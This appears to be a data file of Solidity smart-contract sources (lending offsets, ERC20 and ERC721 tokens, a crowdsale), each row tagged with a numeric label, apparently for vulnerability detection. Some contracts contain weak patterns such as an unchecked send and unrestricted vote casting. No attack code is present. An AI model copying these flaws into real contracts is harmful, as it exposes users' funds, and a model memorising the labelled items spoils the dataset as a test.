uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_];
require(block.timestamp > initCanOffsetTime);
require(userFromAmount > 0);
address user = getUser(user_);
if(
user_ == user &&
getLoanAmount(user, token_) > 0
){
emit eOffset(user, user_, userFromAmount);
uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate);
require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate))));
fromAmountBooks[user_] = remainingXPA;
}else if(
user_ != user &&
block.timestamp > (forceOffsetBooks[user_] + 28800) &&
getMortgageRate(user_) >= getClosingLine()
){
forceOffsetBooks[user_] = block.timestamp;
uint256 punishXPA = getPunishXPA(user_);
emit eOffset(user, user_, punishXPA);
uint256[3] memory forceOffsetFee;
forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether);
forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether);
forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether);
forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2];
profit = safeAdd(profit, forceOffsetFee[0]);
uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1]));
remainingXPA = safeSub(punishXPA,allFee);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(getLoanAmount(user_, xpaAsset[i]) > 0){
remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0);
if(remainingXPA == 0){
break;
}
}
}
fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA));
require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA))));
require(Token(XPA).transfer(msg.sender, forceOffsetFee[2]));
}
}
function executeOffset(
address user_,
uint256 xpaAmount_,
address xpaAssetToken,
uint256 feeRate
)
internal
returns(uint256){
uint256 fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether);
uint256 userToAmount = toAmountBooks[user_][xpaAssetToken];
uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether);
uint256 burnXPA;
uint256 burnXPAAsset;
if(fromXPAAsset >= safeAdd(userToAmount, fee)){
burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken));
emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee));
xpaAmount_ = safeSub(xpaAmount_, burnXPA);
toAmountBooks[user_][xpaAssetToken] = 0;
profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken)));
if(
!FundAccount(fundAccount).burn(xpaAssetToken, userToAmount)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount);
}
}else{
fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether);
profit = safeAdd(profit, fee);
burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether);
toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset);
emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset);
xpaAmount_ = 0;
if(
!FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset);
}
}
return xpaAmount_;
}
function getPunishXPA(
address user_
)
internal
view
returns(uint256){
uint256 userFromAmount = fromAmountBooks[user_];
uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether);
if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){
return userFromAmount;
}else if(punishXPA < minForceOffsetAmount){
return minForceOffsetAmount;
}else if(punishXPA > maxForceOffsetAmount){
return maxForceOffsetAmount;
}else{
return punishXPA;
}
}
function getMortgageRate(
address user_
)
public
view
returns(uint256){
if(fromAmountBooks[user_] != 0){
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]);
}else{
return 0;
}
}
function getHighestMortgageRate()
public
view
returns(uint256){
uint256 totalXPA = Token(XPA).totalSupply();
uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA);
if(issueRate >= 0.7 ether){
return 0.7 ether;
}else if(issueRate >= 0.6 ether){
return 0.6 ether;
}else if(issueRate >= 0.5 ether){
return 0.5 ether;
}else if(issueRate >= 0.3 ether){
return 0.3 ether;
}else{
return 0.1 ether;
}
}
function getClosingLine()
public
view
returns(uint256){
uint256 highestMortgageRate = getHighestMortgageRate();
if(highestMortgageRate >= 0.6 ether){
return safeAdd(highestMortgageRate, 0.1 ether);
}else{
return 0.6 ether;
}
}
function getPrice(
address token_
)
public
view
returns(uint256){
return TokenFactory(tokenFactory).getPrice(token_);
}
function getUsableXPA(
address user_
)
public
view
returns(uint256) {
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){
return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate()));
}else{
return 0;
}
}
function getLoanAmount(
address user_,
address token_
)
public
view
returns(uint256) {
return toAmountBooks[user_][token_];
}
function getRemainingAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}
function burnFundAccount(
address token_,
uint256 amount_
)
onlyOperator
public
{
if(
FundAccount(fundAccount).burn(token_, amount_)
){
unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_);
}
}
function transferProfit(
uint256 token_,
uint256 amount_
)
onlyOperator
public
{
if(amount_ > 0 && Token(token_).balanceOf(this) >= amount_){
require(Token(token_).transfer(bank, amount_));
profit = safeSub(profit,amount_);
}
}
function setFeeRate(
uint256 withDrawFeerate_,
uint256 offsetFeerate_,
uint256 forceOffsetBasicFeerate_,
uint256 forceOffsetExecuteFeerate_,
uint256 forceOffsetExtraFeerate_,
uint256 forceOffsetExecuteMaxFee_
)
onlyOperator
public
{
require(withDrawFeerate_ < 0.05 ether);
require(offsetFeerate_ < 0.05 ether);
require(forceOffsetBasicFeerate_ < 0.05 ether);
require(forceOffsetExecuteFeerate_ < 0.05 ether);
require(forceOffsetExtraFeerate_ < 0.05 ether);
withdrawFeeRate = withDrawFeerate_;
offsetFeeRate = offsetFeerate_;
forceOffsetBasicFeeRate = forceOffsetBasicFeerate_;
forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_;
forceOffsetExtraFeeRate = forceOffsetExtraFeerate_;
forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_;
}
function migrate(
address newContract_
)
public
onlyOwner
{
if(
newXPAAssets == address(0) &&
XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) &&
Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this))
) {
forceOff = true;
powerStatus = false;
newXPAAssets = newContract_;
for(uint256 i = 0; i < xpaAsset.length; i++) {
XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]);
}
emit eMigrate(newContract_);
}
}
function transferXPAAssetAndProfit(
address[] xpaAsset_,
uint256 profit_
)
public
onlyOperator
returns(bool) {
xpaAsset = xpaAsset_;
profit = profit_;
return true;
}
function transferUnPaidFundAccount(
address xpaAsset_,
uint256 unPaidAmount_
)
public
onlyOperator
returns(bool) {
unPaidFundAccount[xpaAsset_] = unPaidAmount_;
return true;
}
function migratingAmountBooks(
address user_,
address newContract_
)
public
onlyOperator
{
XPAAssets(newContract_).migrateAmountBooks(user_);
}
function migrateAmountBooks(
address user_
)
public
onlyOperator
{
require(msg.sender == oldXPAAssets);
require(!migrateBooks[user_]);
migrateBooks[user_] = true;
fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_));
forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i]));
}
emit eMigrateAmount(user_);
}
function getFromAmountBooks(
address user_
)
public
view
returns(uint256) {
return fromAmountBooks[user_];
}
function getForceOffsetBooks(
address user_
)
public
view
returns(uint256) {
return forceOffsetBooks[user_];
}
} | 0 | 600 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract TheLiquidToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {}
function burn(uint _value)
public
{
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract Fricacoin is TheLiquidToken {
string public constant name = "Fricacoin";
string public constant symbol = "FRI";
uint public constant decimals = 2;
uint256 public initialSupply;
function Fricacoin () {
totalSupply = 10000 * 10 ** decimals;
balances[msg.sender] = totalSupply;
initialSupply = totalSupply;
Transfer(0, this, totalSupply);
Transfer(this, msg.sender, totalSupply);
}
} | 1 | 2,435 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract ArtAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract ArtBase is ArtAccessControl {
event Create(address owner, uint256 artId, uint16 generator);
event Transfer(address from, address to, uint256 tokenId);
event Vote(uint16 candidate, uint256 voteCount, uint16 currentGenerator, uint256 currentGeneratorVoteCount);
event NewRecipient(address recipient, uint256 position);
event NewGenerator(uint256 position);
struct ArtToken {
uint64 birthTime;
uint16 generator;
}
ArtToken[] artpieces;
mapping (uint256 => address) public artIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public artIndexToApproved;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
artIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete artIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createArt(
uint256 _generator,
address _owner
)
internal
returns (uint)
{
require(_generator == uint256(uint16(_generator)));
ArtToken memory _art = ArtToken({
birthTime: uint64(now),
generator: uint16(_generator)
});
uint256 newArtId = artpieces.push(_art) - 1;
require(newArtId == uint256(uint32(newArtId)));
Create(
_owner,
newArtId,
_art.generator
);
_transfer(0, _owner, newArtId);
return newArtId;
}
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract ArtOwnership is ArtBase, ERC721 {
string public constant name = "Future of Trust 2018 Art Token";
string public constant symbol = "FoT2018";
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
artIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return artpieces.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = artIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCats = totalSupply();
uint256 resultIndex = 0;
uint256 catId;
for (catId = 1; catId <= totalCats; catId++) {
if (artIndexToOwner[catId] == _owner) {
result[resultIndex] = catId;
resultIndex++;
}
}
return result;
}
}
function _memcpy(uint _dest, uint _src, uint _len) private view {
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ArtMinting is ArtOwnership {
uint256 public constant PROMO_CREATION_LIMIT = 300;
uint256 public promoCreatedCount;
function createPromoArt() external onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createArt(curGenerator, cooAddress);
}
uint256[] public votes;
uint16 public curGenerator = 0;
uint16 public maxGenerators = 3;
function castVote(uint _generator) external {
require(_generator < votes.length);
votes[_generator] = votes[_generator] + 1;
if (votes[_generator] > votes[curGenerator]) {
curGenerator = uint16(_generator);
}
Vote(uint16(_generator), votes[_generator], curGenerator, votes[curGenerator]);
}
function addGenerator() external {
require(votes.length < maxGenerators);
uint _id = votes.push(0);
NewGenerator(_id);
}
}
contract ArtCore is ArtMinting {
function ArtCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createArt(0, address(0));
}
function() external payable {
require(
msg.sender == address(0)
);
}
function getArtToken(uint256 _id)
external
view
returns (
uint256 birthTime,
uint256 generator
) {
ArtToken storage art = artpieces[_id];
birthTime = uint256(art.birthTime);
generator = uint256(art.generator);
}
function unpause() public onlyCEO whenPaused {
super.unpause();
}
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
cfoAddress.send(balance);
}
} | 1 | 2,888 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
